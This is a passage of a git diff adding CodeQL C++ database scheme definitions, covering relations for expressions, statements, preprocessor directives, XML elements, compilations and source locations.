+ unique int init: @initialiser,
+ int var: @accessible ref,
+ unique int expr: @expr ref,
+ int location: @location_expr ref
+);
+
+braced_initialisers(
+ int init: @initialiser ref
+);
+
+/**
+ * An ancestor for the expression, for cases in which we cannot
+ * otherwise find the expression's parent.
+ */
+expr_ancestor(
+ int exp: @expr ref,
+ int ancestor: @element ref
+);
+
+exprs(
+ unique int id: @expr,
+ int kind: int ref,
+ int location: @location_expr ref
+);
+
+expr_reuse(
+ int reuse: @expr ref,
+ int original: @expr ref,
+ int value_category: int ref
+)
+
+/*
+ case @value.category of
+ 1 = prval
+ | 2 = xval
+ | 3 = lval
+ ;
+*/
+expr_types(
+ int id: @expr ref,
+ int typeid: @type ref,
+ int value_category: int ref
+);
+
+case @expr.kind of
+ 1 = @errorexpr
+| 2 = @address_of // & AddressOfExpr
+| 3 = @reference_to // ReferenceToExpr (implicit?)
+| 4 = @indirect // * PointerDereferenceExpr
+| 5 = @ref_indirect // ReferenceDereferenceExpr (implicit?)
+// ...
+| 8 = @array_to_pointer // (???)
+| 9 = @vacuous_destructor_call // VacuousDestructorCall
+// ...
+| 11 = @assume // Microsoft
+| 12 = @parexpr
+| 13 = @arithnegexpr
+| 14 = @unaryplusexpr
+| 15 = @complementexpr
+| 16 = @notexpr
+| 17 = @conjugation // GNU ~ operator
+| 18 = @realpartexpr // GNU __real
+| 19 = @imagpartexpr // GNU __imag
+| 20 = @postincrexpr
+| 21 = @postdecrexpr
+| 22 = @preincrexpr
+| 23 = @predecrexpr
+| 24 = @conditionalexpr
+| 25 = @addexpr
+| 26 = @subexpr
+| 27 = @mulexpr
+| 28 = @divexpr
+| 29 = @remexpr
+| 30 = @jmulexpr // C99 mul imaginary
+| 31 = @jdivexpr // C99 div imaginary
+| 32 = @fjaddexpr // C99 add real + imaginary
+| 33 = @jfaddexpr // C99 add imaginary + real
+| 34 = @fjsubexpr // C99 sub real - imaginary
+| 35 = @jfsubexpr // C99 sub imaginary - real
+| 36 = @paddexpr // pointer add (pointer + int or int + pointer)
+| 37 = @psubexpr // pointer sub (pointer - integer)
+| 38 = @pdiffexpr // difference between two pointers
+| 39 = @lshiftexpr
+| 40 = @rshiftexpr
+| 41 = @andexpr
+| 42 = @orexpr
+| 43 = @xorexpr
+| 44 = @eqexpr
+| 45 = @neexpr
+| 46 = @gtexpr
+| 47 = @ltexpr
+| 48 = @geexpr
+| 49 = @leexpr
+| 50 = @minexpr // GNU minimum
+| 51 = @maxexpr // GNU maximum
+| 52 = @assignexpr
+| 53 = @assignaddexpr
+| 54 = @assignsubexpr
+| 55 = @assignmulexpr
+| 56 = @assigndivexpr
+| 57 = @assignremexpr
+| 58 = @assignlshiftexpr
+| 59 = @assignrshiftexpr
+| 60 = @assignandexpr
+| 61 = @assignorexpr
+| 62 = @assignxorexpr
+| 63 = @assignpaddexpr // assign pointer add
+| 64 = @assignpsubexpr // assign pointer sub
+| 65 = @andlogicalexpr
+| 66 = @orlogicalexpr
+| 67 = @commaexpr
+| 68 = @subscriptexpr // access to member of an array, e.g., a[5]
+// ... 69 @objc_subscriptexpr deprecated
+// ... 70 @cmdaccess deprecated
+// ...
+| 73 = @virtfunptrexpr
+| 74 = @callexpr
+// ... 75 @msgexpr_normal deprecated
+// ... 76 @msgexpr_super deprecated
+// ... 77 @atselectorexpr deprecated
+// ... 78 @atprotocolexpr deprecated
+| 79 = @vastartexpr
+| 80 = @vaargexpr
+| 81 = @vaendexpr
+| 82 = @vacopyexpr
+// ... 83 @atencodeexpr deprecated
+| 84 = @varaccess
+| 85 = @thisaccess
+// ... 86 @objc_box_expr deprecated
+| 87 = @new_expr
+| 88 = @delete_expr
+| 89 = @throw_expr
+| 90 = @condition_decl // a variable declared in a condition, e.g., if(int x = y > 2)
+| 91 = @braced_init_list
+| 92 = @type_id
+| 93 = @runtime_sizeof
+| 94 = @runtime_alignof
+| 95 = @sizeof_pack
+| 96 = @expr_stmt // GNU extension
+| 97 = @routineexpr
+| 98 = @type_operand // used to access a type in certain contexts (haven't found any examples yet....)
+| 99 = @offsetofexpr // offsetof ::= type and field
+| 100 = @hasassignexpr // __has_assign ::= type
+| 101 = @hascopyexpr // __has_copy ::= type
+| 102 = @hasnothrowassign // __has_nothrow_assign ::= type
+| 103 = @hasnothrowconstr // __has_nothrow_constructor ::= type
+| 104 = @hasnothrowcopy // __has_nothrow_copy ::= type
+| 105 = @hastrivialassign // __has_trivial_assign ::= type
+| 106 = @hastrivialconstr // __has_trivial_constructor ::= type
+| 107 = @hastrivialcopy // __has_trivial_copy ::= type
+| 108 = @hasuserdestr // __has_user_destructor ::= type
+| 109 = @hasvirtualdestr // __has_virtual_destructor ::= type
+| 110 = @isabstractexpr // __is_abstract ::= type
+| 111 = @isbaseofexpr // __is_base_of ::= type type
+| 112 = @isclassexpr // __is_class ::= type
+| 113 = @isconvtoexpr // __is_convertible_to ::= type type
+| 114 = @isemptyexpr // __is_empty ::= type
+| 115 = @isenumexpr // __is_enum ::= type
+| 116 = @ispodexpr // __is_pod ::= type
+| 117 = @ispolyexpr // __is_polymorphic ::= type
+| 118 = @isunionexpr // __is_union ::= type
+| 119 = @typescompexpr // GNU __builtin_types_compatible ::= type type
+| 120 = @intaddrexpr // frontend internal builtin, used to implement offsetof
+// ...
+| 122 = @hastrivialdestructor // __has_trivial_destructor ::= type
+| 123 = @literal
+| 124 = @uuidof
+| 127 = @aggregateliteral
+| 128 = @delete_array_expr
+| 129 = @new_array_expr
+// ... 130 @objc_array_literal deprecated
+// ... 131 @objc_dictionary_literal deprecated
+| 132 = @foldexpr
+// ...
+| 200 = @ctordirectinit
+| 201 = @ctorvirtualinit
+| 202 = @ctorfieldinit
+| 203 = @ctordelegatinginit
+| 204 = @dtordirectdestruct
+| 205 = @dtorvirtualdestruct
+| 206 = @dtorfielddestruct
+// ...
+| 210 = @static_cast
+| 211 = @reinterpret_cast
+| 212 = @const_cast
+| 213 = @dynamic_cast
+| 214 = @c_style_cast
+| 215 = @lambdaexpr
+| 216 = @param_ref
+| 217 = @noopexpr
+// ...
+| 294 = @istriviallyconstructibleexpr
+| 295 = @isdestructibleexpr
+| 296 = @isnothrowdestructibleexpr
+| 297 = @istriviallydestructibleexpr
+| 298 = @istriviallyassignableexpr
+| 299 = @isnothrowassignableexpr
+| 300 = @istrivialexpr
+| 301 = @isstandardlayoutexpr
+| 302 = @istriviallycopyableexpr
+| 303 = @isliteraltypeexpr
+| 304 = @hastrivialmoveconstructorexpr
+| 305 = @hastrivialmoveassignexpr
+| 306 = @hasnothrowmoveassignexpr
+| 307 = @isconstructibleexpr
+| 308 = @isnothrowconstructibleexpr
+| 309 = @hasfinalizerexpr
+| 310 = @isdelegateexpr
+| 311 = @isinterfaceclassexpr
+| 312 = @isrefarrayexpr
+| 313 = @isrefclassexpr
+| 314 = @issealedexpr
+| 315 = @issimplevalueclassexpr
+| 316 = @isvalueclassexpr
+| 317 = @isfinalexpr
+| 319 = @noexceptexpr
+| 320 = @builtinshufflevector
+| 321 = @builtinchooseexpr
+| 322 = @builtinaddressof
+| 323 = @vec_fill
+| 324 = @builtinconvertvector
+| 325 = @builtincomplex
+| 326 = @spaceshipexpr
+| 327 = @co_await
+| 328 = @co_yield
+| 329 = @temp_init
+| 330 = @isassignable
+| 331 = @isaggregate
+| 332 = @hasuniqueobjectrepresentations
+| 333 = @builtinbitcast
+| 334 = @builtinshuffle
+| 335 = @blockassignexpr
+| 336 = @issame
+| 337 = @isfunction
+| 338 = @islayoutcompatible
+| 339 = @ispointerinterconvertiblebaseof
+| 340 = @isarray
+| 341 = @arrayrank
+| 342 = @arrayextent
+| 343 = @isarithmetic
+| 344 = @iscompletetype
+| 345 = @iscompound
+| 346 = @isconst
+| 347 = @isfloatingpoint
+| 348 = @isfundamental
+| 349 = @isintegral
+| 350 = @islvaluereference
+| 351 = @ismemberfunctionpointer
+| 352 = @ismemberobjectpointer
+| 353 = @ismemberpointer
+| 354 = @isobject
+| 355 = @ispointer
+| 356 = @isreference
+| 357 = @isrvaluereference
+| 358 = @isscalar
+| 359 = @issigned
+| 360 = @isunsigned
+| 361 = @isvoid
+| 362 = @isvolatile
+| 363 = @reuseexpr
+| 364 = @istriviallycopyassignable
+| 365 = @isassignablenopreconditioncheck
+| 366 = @referencebindstotemporary
+| 367 = @issameas
+| 368 = @builtinhasattribute
+| 369 = @ispointerinterconvertiblewithclass
+| 370 = @builtinispointerinterconvertiblewithclass
+| 371 = @iscorrespondingmember
+| 372 = @builtiniscorrespondingmember
+| 373 = @isboundedarray
+| 374 = @isunboundedarray
+| 375 = @isreferenceable
+| 378 = @isnothrowconvertible
+| 379 = @referenceconstructsfromtemporary
+| 380 = @referenceconvertsfromtemporary
+| 381 = @isconvertible
+| 382 = @isvalidwinrttype
+| 383 = @iswinclass
+| 384 = @iswininterface
+| 385 = @istriviallyequalitycomparable
+| 386 = @isscopedenum
+| 387 = @istriviallyrelocatable
+| 388 = @datasizeof
+| 389 = @c11_generic
+| 390 = @requires_expr
+| 391 = @nested_requirement
+| 392 = @compound_requirement
+| 393 = @concept_id
+;
+
+@var_args_expr = @vastartexpr
+ | @vaendexpr
+ | @vaargexpr
+ | @vacopyexpr
+ ;
+
+@builtin_op = @var_args_expr
+ | @noopexpr
+ | @offsetofexpr
+ | @intaddrexpr
+ | @hasassignexpr
+ | @hascopyexpr
+ | @hasnothrowassign
+ | @hasnothrowconstr
+ | @hasnothrowcopy
+ | @hastrivialassign
+ | @hastrivialconstr
+ | @hastrivialcopy
+ | @hastrivialdestructor
+ | @hasuserdestr
+ | @hasvirtualdestr
+ | @isabstractexpr
+ | @isbaseofexpr
+ | @isclassexpr
+ | @isconvtoexpr
+ | @isemptyexpr
+ | @isenumexpr
+ | @ispodexpr
+ | @ispolyexpr
+ | @isunionexpr
+ | @typescompexpr
+ | @builtinshufflevector
+ | @builtinconvertvector
+ | @builtinaddressof
+ | @istriviallyconstructibleexpr
+ | @isdestructibleexpr
+ | @isnothrowdestructibleexpr
+ | @istriviallydestructibleexpr
+ | @istriviallyassignableexpr
+ | @isnothrowassignableexpr
+ | @istrivialexpr
+ | @isstandardlayoutexpr
+ | @istriviallycopyableexpr
+ | @isliteraltypeexpr
+ | @hastrivialmoveconstructorexpr
+ | @hastrivialmoveassignexpr
+ | @hasnothrowmoveassignexpr
+ | @isconstructibleexpr
+ | @isnothrowconstructibleexpr
+ | @hasfinalizerexpr
+ | @isdelegateexpr
+ | @isinterfaceclassexpr
+ | @isrefarrayexpr
+ | @isrefclassexpr
+ | @issealedexpr
+ | @issimplevalueclassexpr
+ | @isvalueclassexpr
+ | @isfinalexpr
+ | @builtinchooseexpr
+ | @builtincomplex
+ | @isassignable
+ | @isaggregate
+ | @hasuniqueobjectrepresentations
+ | @builtinbitcast
+ | @builtinshuffle
+ | @issame
+ | @isfunction
+ | @islayoutcompatible
+ | @ispointerinterconvertiblebaseof
+ | @isarray
+ | @arrayrank
+ | @arrayextent
+ | @isarithmetic
+ | @iscompletetype
+ | @iscompound
+ | @isconst
+ | @isfloatingpoint
+ | @isfundamental
+ | @isintegral
+ | @islvaluereference
+ | @ismemberfunctionpointer
+ | @ismemberobjectpointer
+ | @ismemberpointer
+ | @isobject
+ | @ispointer
+ | @isreference
+ | @isrvaluereference
+ | @isscalar
+ | @issigned
+ | @isunsigned
+ | @isvoid
+ | @isvolatile
+ | @istriviallycopyassignable
+ | @isassignablenopreconditioncheck
+ | @referencebindstotemporary
+ | @issameas
+ | @builtinhasattribute
+ | @ispointerinterconvertiblewithclass
+ | @builtinispointerinterconvertiblewithclass
+ | @iscorrespondingmember
+ | @builtiniscorrespondingmember
+ | @isboundedarray
+ | @isunboundedarray
+ | @isreferenceable
+ | @isnothrowconvertible
+ | @referenceconstructsfromtemporary
+ | @referenceconvertsfromtemporary
+ | @isconvertible
+ | @isvalidwinrttype
+ | @iswinclass
+ | @iswininterface
+ | @istriviallyequalitycomparable
+ | @isscopedenum
+ | @istriviallyrelocatable
+ ;
+
+compound_requirement_is_noexcept(
+ int expr: @compound_requirement ref
+);
+
+new_allocated_type(
+ unique int expr: @new_expr ref,
+ int type_id: @type ref
+);
+
+new_array_allocated_type(
+ unique int expr: @new_array_expr ref,
+ int type_id: @type ref
+);
+
+/**
+ * The field being initialized by an initializer expression within an aggregate
+ * initializer for a class/struct/union. Position is used to sort repeated initializers.
+ */
+#keyset[aggregate, position]
+aggregate_field_init(
+ int aggregate: @aggregateliteral ref,
+ int initializer: @expr ref,
+ int field: @membervariable ref,
+ int position: int ref,
+ boolean is_designated: boolean ref
+);
+
+/**
+ * The index of the element being initialized by an initializer expression
+ * within an aggregate initializer for an array. Position is used to sort repeated initializers.
+ */
+#keyset[aggregate, position]
+aggregate_array_init(
+ int aggregate: @aggregateliteral ref,
+ int initializer: @expr ref,
+ int element_index: int ref,
+ int position: int ref,
+ boolean is_designated: boolean ref
+);
+
+@ctorinit = @ctordirectinit
+ | @ctorvirtualinit
+ | @ctorfieldinit
+ | @ctordelegatinginit;
+@dtordestruct = @dtordirectdestruct
+ | @dtorvirtualdestruct
+ | @dtorfielddestruct;
+
+
+condition_decl_bind(
+ unique int expr: @condition_decl ref,
+ unique int decl: @declaration ref
+);
+
+typeid_bind(
+ unique int expr: @type_id ref,
+ int type_id: @type ref
+);
+
+uuidof_bind(
+ unique int expr: @uuidof ref,
+ int type_id: @type ref
+);
+
+@sizeof_or_alignof = @runtime_sizeof | @runtime_alignof | @datasizeof | @sizeof_pack;
+
+sizeof_bind(
+ unique int expr: @sizeof_or_alignof ref,
+ int type_id: @type ref
+);
+
+code_block(
+ unique int block: @literal ref,
+ unique int routine: @function ref
+);
+
+lambdas(
+ unique int expr: @lambdaexpr ref,
+ string default_capture: string ref,
+ boolean has_explicit_return_type: boolean ref
+);
+
+lambda_capture(
+ unique int id: @lambdacapture,
+ int lambda: @lambdaexpr ref,
+ int index: int ref,
+ int field: @membervariable ref,
+ boolean captured_by_reference: boolean ref,
+ boolean is_implicit: boolean ref,
+ int location: @location_default ref
+);
+
+@funbindexpr = @routineexpr
+ | @new_expr
+ | @delete_expr
+ | @delete_array_expr
+ | @ctordirectinit
+ | @ctorvirtualinit
+ | @ctordelegatinginit
+ | @dtordirectdestruct
+ | @dtorvirtualdestruct;
+
+@varbindexpr = @varaccess | @ctorfieldinit | @dtorfielddestruct;
+@addressable = @function | @variable ;
+@accessible = @addressable | @enumconstant ;
+
+@access = @varaccess | @routineexpr ;
+
+fold(
+ int expr: @foldexpr ref,
+ string operator: string ref,
+ boolean is_left_fold: boolean ref
+);
+
+stmts(
+ unique int id: @stmt,
+ int kind: int ref,
+ int location: @location_stmt ref
+);
+
+case @stmt.kind of
+ 1 = @stmt_expr
+| 2 = @stmt_if
+| 3 = @stmt_while
+| 4 = @stmt_goto
+| 5 = @stmt_label
+| 6 = @stmt_return
+| 7 = @stmt_block
+| 8 = @stmt_end_test_while // do { ... } while ( ... )
+| 9 = @stmt_for
+| 10 = @stmt_switch_case
+| 11 = @stmt_switch
+| 13 = @stmt_asm // "asm" statement or the body of an asm function
+| 15 = @stmt_try_block
+| 16 = @stmt_microsoft_try // Microsoft
+| 17 = @stmt_decl
+| 18 = @stmt_set_vla_size // C99
+| 19 = @stmt_vla_decl // C99
+| 25 = @stmt_assigned_goto // GNU
+| 26 = @stmt_empty
+| 27 = @stmt_continue
+| 28 = @stmt_break
+| 29 = @stmt_range_based_for // C++11
+// ... 30 @stmt_at_autoreleasepool_block deprecated
+// ... 31 @stmt_objc_for_in deprecated
+// ... 32 @stmt_at_synchronized deprecated
+| 33 = @stmt_handler
+// ... 34 @stmt_finally_end deprecated
+| 35 = @stmt_constexpr_if
+| 37 = @stmt_co_return
+| 38 = @stmt_consteval_if
+| 39 = @stmt_not_consteval_if
+;
+
+type_vla(
+ int type_id: @type ref,
+ int decl: @stmt_vla_decl ref
+);
+
+variable_vla(
+ int var: @variable ref,
+ int decl: @stmt_vla_decl ref
+);
+
+type_is_vla(unique int type_id: @derivedtype ref)
+
+if_initialization(
+ unique int if_stmt: @stmt_if ref,
+ int init_id: @stmt ref
+);
+
+if_then(
+ unique int if_stmt: @stmt_if ref,
+ int then_id: @stmt ref
+);
+
+if_else(
+ unique int if_stmt: @stmt_if ref,
+ int else_id: @stmt ref
+);
+
+constexpr_if_initialization(
+ unique int constexpr_if_stmt: @stmt_constexpr_if ref,
+ int init_id: @stmt ref
+);
+
+constexpr_if_then(
+ unique int constexpr_if_stmt: @stmt_constexpr_if ref,
+ int then_id: @stmt ref
+);
+
+constexpr_if_else(
+ unique int constexpr_if_stmt: @stmt_constexpr_if ref,
+ int else_id: @stmt ref
+);
+
+@stmt_consteval_or_not_consteval_if = @stmt_consteval_if | @stmt_not_consteval_if;
+
+consteval_if_then(
+ unique int constexpr_if_stmt: @stmt_consteval_or_not_consteval_if ref,
+ int then_id: @stmt ref
+);
+
+consteval_if_else(
+ unique int constexpr_if_stmt: @stmt_consteval_or_not_consteval_if ref,
+ int else_id: @stmt ref
+);
+
+while_body(
+ unique int while_stmt: @stmt_while ref,
+ int body_id: @stmt ref
+);
+
+do_body(
+ unique int do_stmt: @stmt_end_test_while ref,
+ int body_id: @stmt ref
+);
+
+switch_initialization(
+ unique int switch_stmt: @stmt_switch ref,
+ int init_id: @stmt ref
+);
+
+#keyset[switch_stmt, index]
+switch_case(
+ int switch_stmt: @stmt_switch ref,
+ int index: int ref,
+ int case_id: @stmt_switch_case ref
+);
+
+switch_body(
+ unique int switch_stmt: @stmt_switch ref,
+ int body_id: @stmt ref
+);
+
+@stmt_for_or_range_based_for = @stmt_for
+ | @stmt_range_based_for;
+
+for_initialization(
+ unique int for_stmt: @stmt_for_or_range_based_for ref,
+ int init_id: @stmt ref
+);
+
+for_condition(
+ unique int for_stmt: @stmt_for ref,
+ int condition_id: @expr ref
+);
+
+for_update(
+ unique int for_stmt: @stmt_for ref,
+ int update_id: @expr ref
+);
+
+for_body(
+ unique int for_stmt: @stmt_for ref,
+ int body_id: @stmt ref
+);
+
+@stmtparent = @stmt | @expr_stmt ;
+stmtparents(
+ unique int id: @stmt ref,
+ int index: int ref,
+ int parent: @stmtparent ref
+);
+
+ishandler(unique int block: @stmt_block ref);
+
+@cfgnode = @stmt | @expr | @function | @initialiser ;
+
+stmt_decl_bind(
+ int stmt: @stmt_decl ref,
+ int num: int ref,
+ int decl: @declaration ref
+);
+
+stmt_decl_entry_bind(
+ int stmt: @stmt_decl ref,
+ int num: int ref,
+ int decl_entry: @element ref
+);
+
+@parameterized_element = @function | @stmt_block | @requires_expr;
+
+blockscope(
+ unique int block: @stmt_block ref,
+ int enclosing: @parameterized_element ref
+);
+
+@jump = @stmt_goto | @stmt_break | @stmt_continue;
+
+@jumporlabel = @jump | @stmt_label | @literal;
+
+jumpinfo(
+ unique int id: @jumporlabel ref,
+ string str: string ref,
+ int target: @stmt ref
+);
+
+preprocdirects(
+ unique int id: @preprocdirect,
+ int kind: int ref,
+ int location: @location_default ref
+);
+case @preprocdirect.kind of
+ 0 = @ppd_if
+| 1 = @ppd_ifdef
+| 2 = @ppd_ifndef
+| 3 = @ppd_elif
+| 4 = @ppd_else
+| 5 = @ppd_endif
+| 6 = @ppd_plain_include
+| 7 = @ppd_define
+| 8 = @ppd_undef
+| 9 = @ppd_line
+| 10 = @ppd_error
+| 11 = @ppd_pragma
+| 12 = @ppd_objc_import
+| 13 = @ppd_include_next
+| 14 = @ppd_ms_import
+| 15 = @ppd_elifdef
+| 16 = @ppd_elifndef
+| 18 = @ppd_warning
+;
+
+@ppd_include = @ppd_plain_include | @ppd_objc_import | @ppd_include_next | @ppd_ms_import;
+
+@ppd_branch = @ppd_if | @ppd_ifdef | @ppd_ifndef | @ppd_elif | @ppd_elifdef | @ppd_elifndef;
+
+preprocpair(
+ int begin : @ppd_branch ref,
+ int elseelifend : @preprocdirect ref
+);
+
+preproctrue(int branch : @ppd_branch ref);
+preprocfalse(int branch : @ppd_branch ref);
+
+preproctext(
+ unique int id: @preprocdirect ref,
+ string head: string ref,
+ string body: string ref
+);
+
+includes(
+ unique int id: @ppd_include ref,
+ int included: @file ref
+);
+
+link_targets(
+ int id: @link_target,
+ int binary: @file ref
+);
+
+link_parent(
+ int element : @element ref,
+ int link_target : @link_target ref
+);
+
+/* XML Files */
+
+xmlEncoding(unique int id: @file ref, string encoding: string ref);
+
+xmlDTDs(
+ unique int id: @xmldtd,
+ string root: string ref,
+ string publicId: string ref,
+ string systemId: string ref,
+ int fileid: @file ref
+);
+
+xmlElements(
+ unique int id: @xmlelement,
+ string name: string ref,
+ int parentid: @xmlparent ref,
+ int idx: int ref,
+ int fileid: @file ref
+);
+
+xmlAttrs(
+ unique int id: @xmlattribute,
+ int elementid: @xmlelement ref,
+ string name: string ref,
+ string value: string ref,
+ int idx: int ref,
+ int fileid: @file ref
+);
+
+xmlNs(
+ int id: @xmlnamespace,
+ string prefixName: string ref,
+ string URI: string ref,
+ int fileid: @file ref
+);
+
+xmlHasNs(
+ int elementId: @xmlnamespaceable ref,
+ int nsId: @xmlnamespace ref,
+ int fileid: @file ref
+);
+
+xmlComments(
+ unique int id: @xmlcomment,
+ string text: string ref,
+ int parentid: @xmlparent ref,
+ int fileid: @file ref
+);
+
+xmlChars(
+ unique int id: @xmlcharacters,
+ string text: string ref,
+ int parentid: @xmlparent ref,
+ int idx: int ref,
+ int isCDATA: int ref,
+ int fileid: @file ref
+);
+
+@xmlparent = @file | @xmlelement;
+@xmlnamespaceable = @xmlelement | @xmlattribute;
+
+xmllocations(
+ int xmlElement: @xmllocatable ref,
+ int location: @location_default ref
+);
+
+@xmllocatable = @xmlcharacters
+ | @xmlelement
+ | @xmlcomment
+ | @xmlattribute
+ | @xmldtd
+ | @file
+ | @xmlnamespace;
diff --git a/cpp/ql/lib/upgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/semmlecode.cpp.dbscheme b/cpp/ql/lib/upgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/semmlecode.cpp.dbscheme
new file mode 100644
index 00000000000..3c45f8b9e71
--- /dev/null
+++ b/cpp/ql/lib/upgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/semmlecode.cpp.dbscheme
@@ -0,0 +1,2493 @@
+
+/**
+ * An invocation of the compiler. Note that more than one file may be
+ * compiled per invocation. For example, this command compiles three
+ * source files:
+ *
+ * gcc -c f1.c f2.c f3.c
+ *
+ * The `id` simply identifies the invocation, while `cwd` is the working
+ * directory from which the compiler was invoked.
+ */
+compilations(
+ /**
+ * An invocation of the compiler. Note that more than one file may
+ * be compiled per invocation. For example, this command compiles
+ * three source files:
+ *
+ * gcc -c f1.c f2.c f3.c
+ */
+ unique int id : @compilation,
+ string cwd : string ref
+);
+
+/**
+ * The arguments that were passed to the extractor for a compiler
+ * invocation. If `id` is for the compiler invocation
+ *
+ * gcc -c f1.c f2.c f3.c
+ *
+ * then typically there will be rows for
+ *
+ * num | arg
+ * --- | ---
+ * 0 | *path to extractor*
+ * 1 | `--mimic`
+ * 2 | `/usr/bin/gcc`
+ * 3 | `-c`
+ * 4 | f1.c
+ * 5 | f2.c
+ * 6 | f3.c
+ */
+#keyset[id, num]
+compilation_args(
+ int id : @compilation ref,
+ int num : int ref,
+ string arg : string ref
+);
+
+/**
+ * Optionally, record the build mode for each compilation.
+ */
+compilation_build_mode(
+ unique int id : @compilation ref,
+ int mode : int ref
+);
+
+/*
+case @compilation_build_mode.mode of
+ 0 = @build_mode_none
+| 1 = @build_mode_manual
+| 2 = @build_mode_auto
+;
+*/
+
+/**
+ * The source files that are compiled by a compiler invocation.
+ * If `id` is for the compiler invocation
+ *
+ * gcc -c f1.c f2.c f3.c
+ *
+ * then there will be rows for
+ *
+ * num | arg
+ * --- | ---
+ * 0 | f1.c
+ * 1 | f2.c
+ * 2 | f3.c
+ *
+ * Note that even if those files `#include` headers, those headers
+ * do not appear as rows.
+ */
+#keyset[id, num]
+compilation_compiling_files(
+ int id : @compilation ref,
+ int num : int ref,
+ int file : @file ref
+);
+
+/**
+ * The time taken by the extractor for a compiler invocation.
+ *
+ * For each file `num`, there will be rows for
+ *
+ * kind | seconds
+ * ---- | ---
+ * 1 | CPU seconds used by the extractor frontend
+ * 2 | Elapsed seconds during the extractor frontend
+ * 3 | CPU seconds used by the extractor backend
+ * 4 | Elapsed seconds during the extractor backend
+ */
+#keyset[id, num, kind]
+compilation_time(
+ int id : @compilation ref,
+ int num : int ref,
+ /* kind:
+ 1 = frontend_cpu_seconds
+ 2 = frontend_elapsed_seconds
+ 3 = extractor_cpu_seconds
+ 4 = extractor_elapsed_seconds
+ */
+ int kind : int ref,
+ float seconds : float ref
+);
+
+/**
+ * An error or warning generated by the extractor.
+ * The diagnostic message `diagnostic` was generated during compiler
+ * invocation `compilation`, and is the `file_number_diagnostic_number`th
+ * message generated while extracting the `file_number`th file of that
+ * invocation.
+ */
+#keyset[compilation, file_number, file_number_diagnostic_number]
+diagnostic_for(
+ int diagnostic : @diagnostic ref,
+ int compilation : @compilation ref,
+ int file_number : int ref,
+ int file_number_diagnostic_number : int ref
+);
+
+/**
+ * If extraction was successful, then `cpu_seconds` and
+ * `elapsed_seconds` are the CPU time and elapsed time (respectively)
+ * that extraction took for compiler invocation `id`.
+ */
+compilation_finished(
+ unique int id : @compilation ref,
+ float cpu_seconds : float ref,
+ float elapsed_seconds : float ref
+);
+
+
+/**
+ * External data, loaded from CSV files during snapshot creation. See
+ * [Tutorial: Incorporating external data](https://help.semmle.com/wiki/display/SD/Tutorial%3A+Incorporating+external+data)
+ * for more information.
+ */
+externalData(
+ int id : @externalDataElement,
+ string path : string ref,
+ int column: int ref,
+ string value : string ref
+);
+
+/**
+ * The source location of the snapshot.
+ */
+sourceLocationPrefix(string prefix : string ref);
+
+/**
+ * Information about packages that provide code used during compilation.
+ * The `id` is just a unique identifier.
+ * The `namespace` is typically the name of the package manager that
+ * provided the package (e.g. "dpkg" or "yum").
+ * The `package_name` is the name of the package, and `version` is its
+ * version (as a string).
+ */
+external_packages(
+ unique int id: @external_package,
+ string namespace : string ref,
+ string package_name : string ref,
+ string version : string ref
+);
+
+/**
+ * Holds if File `fileid` was provided by package `package`.
+ */
+header_to_external_package(
+ int fileid : @file ref,
+ int package : @external_package ref
+);
+
+/*
+ * Version history
+ */
+
+svnentries(
+ unique int id : @svnentry,
+ string revision : string ref,
+ string author : string ref,
+ date revisionDate : date ref,
+ int changeSize : int ref
+)
+
+svnaffectedfiles(
+ int id : @svnentry ref,
+ int file : @file ref,
+ string action : string ref
+)
+
+svnentrymsg(
+ unique int id : @svnentry ref,
+ string message : string ref
+)
+
+svnchurn(
+ int commit : @svnentry ref,
+ int file : @file ref,
+ int addedLines : int ref,
+ int deletedLines : int ref
+)
+
+/*
+ * C++ dbscheme
+ */
+
+extractor_version(
+ string codeql_version: string ref,
+ string frontend_version: string ref
+)
+
+@location = @location_stmt | @location_expr | @location_default ;
+
+/**
+ * The location of an element that is not an expression or a statement.
+ * The location spans column `startcolumn` of line `startline` to
+ * column `endcolumn` of line `endline` in file `file`.
+ * For more information, see
+ * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/).
+ */
+locations_default(
+ /** The location of an element that is not an expression or a statement. */
+ unique int id: @location_default,
+ int container: @container ref,
+ int startLine: int ref,
+ int startColumn: int ref,
+ int endLine: int ref,
+ int endColumn: int ref
+);
+
+/**
+ * The location of a statement.
+ * The location spans column `startcolumn` of line `startline` to
+ * column `endcolumn` of line `endline` in file `file`.
+ * For more information, see
+ * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/).
+ */
+locations_stmt(
+ /** The location of a statement. */
+ unique int id: @location_stmt,
+ int container: @container ref,
+ int startLine: int ref,
+ int startColumn: int ref,
+ int endLine: int ref,
+ int endColumn: int ref
+);
+
+/**
+ * The location of an expression.
+ * The location spans column `startcolumn` of line `startline` to
+ * column `endcolumn` of line `endline` in file `file`.
+ * For more information, see
+ * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/).
+ */
+locations_expr(
+ /** The location of an expression. */
+ unique int id: @location_expr,
+ int container: @container ref,
+ int startLine: int ref,
+ int startColumn: int ref,
+ int endLine: int ref,
+ int endColumn: int ref
+);
+
+/** An element for which line-count information is available. */
+@sourceline = @file | @function | @variable | @enumconstant | @xmllocatable;
+
+numlines(
+ int element_id: @sourceline ref,
+ int num_lines: int ref,
+ int num_code: int ref,
+ int num_comment: int ref
+);
+
+diagnostics(
+ unique int id: @diagnostic,
+ int severity: int ref,
+ string error_tag: string ref,
+ string error_message: string ref,
+ string full_error_message: string ref,
+ int location: @location_default ref
+);
+
+files(
+ unique int id: @file,
+ string name: string ref
+);
+
+folders(
+ unique int id: @folder,
+ string name: string ref
+);
+
+@container = @folder | @file
+
+containerparent(
+ int parent: @container ref,
+ unique int child: @container ref
+);
+
+fileannotations(
+ int id: @file ref,
+ int kind: int ref,
+ string name: string ref,
+ string value: string ref
+);
+
+inmacroexpansion(
+ int id: @element ref,
+ int inv: @macroinvocation ref
+);
+
+affectedbymacroexpansion(
+ int id: @element ref,
+ int inv: @macroinvocation ref
+);
+
+case @macroinvocation.kind of
+ 1 = @macro_expansion
+| 2 = @other_macro_reference
+;
+
+macroinvocations(
+ unique int id: @macroinvocation,
+ int macro_id: @ppd_define ref,
+ int location: @location_default ref,
+ int kind: int ref
+);
+
+macroparent(
+ unique int id: @macroinvocation ref,
+ int parent_id: @macroinvocation ref
+);
+
+// a macroinvocation may be part of another location
+// the way to find a constant expression that uses a macro
+// is thus to find a constant expression that has a location
+// to which a macro invocation is bound
+macrolocationbind(
